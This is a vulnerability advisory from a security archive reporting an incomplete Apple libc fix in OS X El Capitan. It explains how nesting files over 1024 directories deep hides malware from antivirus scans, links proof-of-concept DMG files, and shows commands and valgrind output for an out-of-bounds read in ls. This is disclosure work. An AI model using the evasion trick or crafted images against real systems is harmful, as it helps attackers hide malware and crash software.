what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Apple libc Incomplete Fix

Apple libc Incomplete Fix
Posted Aug 26, 2016
Authored by Maksymilian Arciemowicz

Apple's libc security update for OS X El Capitan version 10.11.2 has an incomplete fix.

tags | advisory
systems | apple, osx
advisories | CVE-2015-7038, CVE-2015-7039
SHA-256 | 1e5f9c6d0b83d92011bbf4e96ebccd3cac5637b6b7ee38f795eecf2e67ee7819

Apple libc Incomplete Fix

Change Mirror Download
--------------------------------------------------------------------------------
Apple libc incomplete fix of Security Update for OS X El Capitan 10.11.2
Credit: Maksymilian Arciemowicz from CXSECURITY.COM
URL: https://cxsecurity.com/issue/WLB-2016080232
--------------------------------------------------------------------------------

Apple tried to fix security issue in file system (FTS) libc implementation but doesn't patch it completely. Let's back to the security advisory

https://support.apple.com/en-us/HT205637
----------------------------------------
libc
Available for: OS X El Capitan v10.11 and v10.11.1
Impact: Processing a maliciously crafted package may lead to arbitrary code execution
Description: Multiple buffer overflows existed in the C standard library. These issues were addressed through improved bounds checking.
CVE-ID
CVE-2015-7038
CVE-2015-7039 : Maksymilian Arciemowicz (CXSECURITY.COM)
----------------------------------------

it's only one part of reported weaknesses what should be fix by Apple. They fixed multiple buffer overflow but not all out of memory read. Improper security implementation of file system may lead to a few kinds of attacks



--------------------------------------------------------------------------------
1. AV Tools and file system deep directory
The first weakness what Apple should repair is ability of hiding malicious code in external/internal media drive or DMG package. Many AV tools will skip files located in directory deeper then 1024 levels, so it could be used to hide malware by attacker during classic AV scanning. I contacted with one of vendors and they indicate Apple as responsible for repair this bug. To show this issue in practice, you can compare the two DMG files. One is with content of exploits from metasploit in directory located in 1024 level of directory tree

DMG mounted and threats detected by AVG, ESET, Norton AV during folder scanning mode
https://cxsecurity.com/exploits/mac10116expl/10116metaExploits.dmg

The same content but in deep file hierarchy 1024 directories. Classic directory scanning by AV tool couldn't detect the threats.
https://cxsecurity.com/exploits/mac10116expl/10116hideContents.dmg



--------------------------------------------------------------------------------
2. Out of memory reading in libc
The next issue recognised in the latest MacOSX is out-of-bounds read. Apple tried fix all buffer overflows but it looks like that's not all. In Apple code there is still a few weak points of memory management. For example 'ls' and 'find' command and Apple's libc. To easier explain this weakness (CWE-125) let's use this special crafted DMG with deep file system.

$ wget https://cxsecurity.com/exploits/mac10116expl/10116outofread.dmg
..
$ hdiutil attach 10116outofread.dmg
..
$ valgrind ls -laR /Volumes/PoC1_CXSECURITY >>/dev/null
..
==5687== Invalid read of size 1
==5687== at 0x1000116BF: strlen (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==5687== by 0x100323A4B: __vfprintf (in /usr/lib/system/libsystem_c.dylib)
==5687== by 0x10034C6C0: __v2printf (in /usr/lib/system/libsystem_c.dylib)
==5687== by 0x100322381: vfprintf_l (in /usr/lib/system/libsystem_c.dylib)
==5687== by 0x10032021B: printf (in /usr/lib/system/libsystem_c.dylib)
==5687== by 0x100001C4E: ??? (in /bin/ls)
==5687== by 0x100001A6F: ??? (in /bin/ls)
==5687== by 0x1002825AC: start (in /usr/lib/system/libdyld.dylib)
==5687== by 0x2: ???
==5687== by 0x104809B02: ???
==5687== by 0x104809B05: ???
==5687== by 0x104809B0A: ???
==5687== Address 0x100b977f0 is 0 bytes inside a block of size 1,537 free'd
==5687== at 0x100010920: realloc (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==5687== by 0x1002E1B06: fts_build (in /usr/lib/system/libsystem_c.dylib)
==5687== by 0x1002E2106: fts_children$INODE64 (in /usr/lib/system/libsystem_c.dylib)
==5687== by 0x100001CB0: ??? (in /bin/ls)
==5687== by 0x100001A6F: ??? (in /bin/ls)
==5687== by 0x1002825AC: start (in /usr/lib/system/libdyld.dylib)
==5687== by 0x2: ???
==5687== by 0x104809B02: ???
==5687== by 0x104809B05: ???
==5687== by 0x104809B0A: ???
==5687== Block was alloc'd at
==5687== at 0x100010920: realloc (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==5687== by 0x1002E1B06: fts_build (in /usr/lib/system/libsystem_c.dylib)
==5687== by 0x1002E2106: fts_children$INODE64 (in /usr/lib/system/libsystem_c.dylib)
==5687== by 0x100001CB0: ??? (in /bin/ls)
==5687== by 0x100001A6F: ??? (in /bin/ls)
==5687== by 0x1002825AC: start (in /usr/lib/system/libdyld.dylib)
==5687== by 0x2: ???
==5687== by 0x104809B02: ???
==5687== by 0x104809B05: ???
==5687== by 0x104809B0A: ???
==5687==
..
==5687== Invalid read of size 1
==5687== at 0x1000126C1: _platform_memmove$VARIANT$Ivybridge (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==5687== by 0x10031BEFC: __sfvwrite (in /usr/lib/system/libsystem_c.dylib)
==5687== by 0x100326652: __vfprintf (in /usr/lib/system/libsystem_c.dylib)
==5687== by 0x10034C6C0: __v2printf (in /usr/lib/system/libsystem_c.dylib)
==5687== by 0x100322381: vfprintf_l (in /usr/lib/system/libsystem_c.dylib)
==5687== by 0x10032021B: printf (in /usr/lib/system/libsystem_c.dylib)
==5687== by 0x100001C4E: ??? (in /bin/ls)
==5687== by 0x100001A6F: ??? (in /bin/ls)
==5687== by 0x1002825AC: start (in /usr/lib/system/libdyld.dylib)
==5687== by 0x2: ???


--------------------------------------------------------------------------------
References:
https://cxsecurity.com/issue/WLB-2015120089
https://cxsecurity.com/exploits/mac10116expl/10116metaExploits.dmg
https://cxsecurity.com/exploits/mac10116expl/10116hideContents.dmg
https://cxsecurity.com/exploits/mac10116expl/10116outofread.dmg
https://support.apple.com/en-us/HT205637
https://support.apple.com/en-us/HT205635
https://support.apple.com/en-us/HT205641
https://support.apple.com/en-us/HT205640
https://cxsecurity.com/issue/WLB-2015100149
https://cxsecurity.com/
https://cert.cx/

--------------------------------------------------------------------------------
Best Regards,
Maksymilian Arciemowicz ( https://cert.cx/ )
https://cxsecurity.com - Independent Information
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close